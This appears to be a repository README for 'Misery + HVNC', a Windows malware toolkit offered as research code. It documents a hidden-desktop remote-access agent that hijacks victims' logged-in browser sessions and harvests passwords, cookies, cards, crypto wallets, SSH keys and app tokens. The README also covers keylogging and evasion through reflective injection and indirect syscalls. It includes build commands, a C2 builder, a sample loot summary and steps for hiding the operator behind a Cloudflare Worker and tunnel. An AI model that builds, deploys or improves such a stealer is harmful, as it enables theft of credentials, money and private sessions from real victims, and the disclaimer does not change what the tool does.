6.7 KiB
a devoted sister of the Church of Malware
Misery + HVNC
An HVNC inspired by Ek0ms' research, rebuilt on top of the Misery stealer with hidden-desktop and ghosted browser sessions, credential and app-session harvesting, and single-channel encrypted C2 (reverse TCP by default, HTTPS beaconing through a CDN as an option).
For local testing and research only. The source stealer is Misery; the HVNC follows on from Ek0m's work.
Disclaimer
For educational and research use only. Test it on systems you own or have written permission to test, in an isolated lab. Do not use it for unauthorised activity. The authors take no responsibility for misuse.
Operator view
The console's live hidden-desktop feed, streamed from the agent and rendered in the view window:
VirusTotal scan
Which session to use
Two ways to run a hidden browser session. Both launch a real Chrome or Edge with the victim's cookies and logins (so sites are already logged in); they differ in how the profile is handled:
Ghosted session (ghost <url>) |
Hidden desktop (hvnc start) |
|
|---|---|---|
| Profile | Snapshot copy of the victim's profile, deleted when the session stops | The victim's real, live profile |
| Browser | Chrome / Edge only | Any app, plus a full desktop with explorer and Start menu |
| Collides with a browser the victim has open? | No | Yes (profile lock / two-instance conflict) |
| Writes back to the victim's profile? | No | Yes: history, cookies, sign-outs persist |
| Use when | You just need an authenticated browser session | You need the whole hidden desktop or a non-browser app |
The stealer normally runs inside the browser through reflective injection, so the app-bound decryption passes its process check. When no injectable browser is present, the agent falls back to an offline DPAPI run in the agent process. Either way, the core work happens over one encrypted channel. The agent streams frames and results, the console forwards input, and the console writes exfil results to disk.
Quick start
Builder first. setup.py is an msfvenom-style wizard/CLI that writes src/config.h (host, port, key, exfil URL, CDN settings) and builds the project. Guided wizard, or the same thing non-interactively:
python setup.py -g
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 KEY=<16 chars or 32 hex> -o agent
Run the console (it is the listener) then the agent (it connects):
.\build\console.exe
.\build\agent.exe
The console is a terminal, not a toolbar: banner, misery > prompt, and [+] agent: hostname|user|id on connect. A live view window opens for the hidden-desktop feed; mouse and keyboard input there is forwarded to the session. Type help for steal, hvnc start | stop | launch [path], ghost <url> | stop, keylog, clip, clear, exit.
The steal summary counts browser and app loot in one line:
[+] steal done: 0 pw / 0 ck / 0 cards / 2 discord / 1 steam / 1 wallets / 1 wifi / 1 ssh / 1 vscode / 0 telegram / 0 slack / 0 signal / 0 aws -> loot-20260812_001608.json
Configuration
All C2 defaults live in src/config.h (generated by setup.py), and anything you set at the command line or in the environment wins over them:
- CLI:
agent <host> [port] - Env:
HVNC_C2_HOST,HVNC_C2_PORT - Compile-time defaults from
src/config.h
The config holds the host, port, the 16-byte master key, the optional HTTPS exfil URL, and the CDN beacon settings (HVNC_BEACON_URL, header, sleep interval). The tracked default points at 127.0.0.1:4444 with a placeholder key, so a fresh checkout builds and runs out of the box.
CDN transport (Cloudflare)
setup.py -t https_cdn switches the agent to HTTPS beaconing instead of raw TCP. It also emits two deploy files: deploy/worker.js (Cloudflare Worker redirector) and deploy/cloudflared-config.yml (Zero Trust Tunnel).
agent ──HTTPS POST/GET──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console
A beacon is a batch of encrypted POSTs. The request carries an auth header the Worker validates, plus service-auth headers for the tunnel. The Worker redirects to a cloudflared tunnel on your box, so the console never needs a public IP.
To deploy:
- Create a Worker and publish
deploy/worker.js - On the console host, run
cloudflaredwith a tunnel mapped tohttp://localhost:<port> - Lock the tunnel with a Cloudflare Access service-auth token and put its credentials in the Worker
- Point
HVNC_BEACON_URLat the Worker URL
The beacon client and the console's HTTP relay both exist. With HVNC_TRANSPORT 1 the console runs the relay listener on the C2 port and the same REPL commands work over it.
Build
You need cmake, a C++ toolchain, and objcopy (or llvm-objcopy). The build embeds the payload DLL as an object file, so configure fails if it can't find an objcopy binary. CMake prefers llvm-objcopy; set CMAKE_OBJCOPY to force a specific one.
MSVC:
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
MinGW:
cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release -DCMAKE_OBJCOPY="C:\path\to\objcopy.exe"
cmake --build build --config Release -- -j 4
The src/config.h shipped in the repo defaults to 127.0.0.1:4444 and a placeholder master key, so a fresh checkout builds and connects to localhost without running the builder. Swap in a real key before deploying.
Only run this in isolated labs with documented permission. To start clean, delete build/ with Remove-Item -Recurse -Force build (PowerShell) or rm -rf build (msys/mingw).
Outputs
Results are written by the console to the directory it runs from:
loot-<timestamp>.json(gitignored) for each stealkeylog.txtfor keylogger capture
Tested on Chrome and Edge on Windows 10 / 11 (x64).
Layout
src/agent: agent entry point, C2 client, injectorsrc/console: operator console and listenersrc/payload: payload DLL, reflective loader, trampolinesrc/stealer: Misery-derived stealer sourcessrc/hvnc: hidden-desktop sessionsrc/ghost: ghosted browser sessionsrc/rat: keylogger and clipboardsrc/transport: encrypted TCP framing and frame compressionsrc/evasion: indirect-syscall engine and evasion helpersbuild/: out-of-source build directory
Licence
No licence is granted. This is research code shared for study; it is not licensed for redistribution or commercial use.

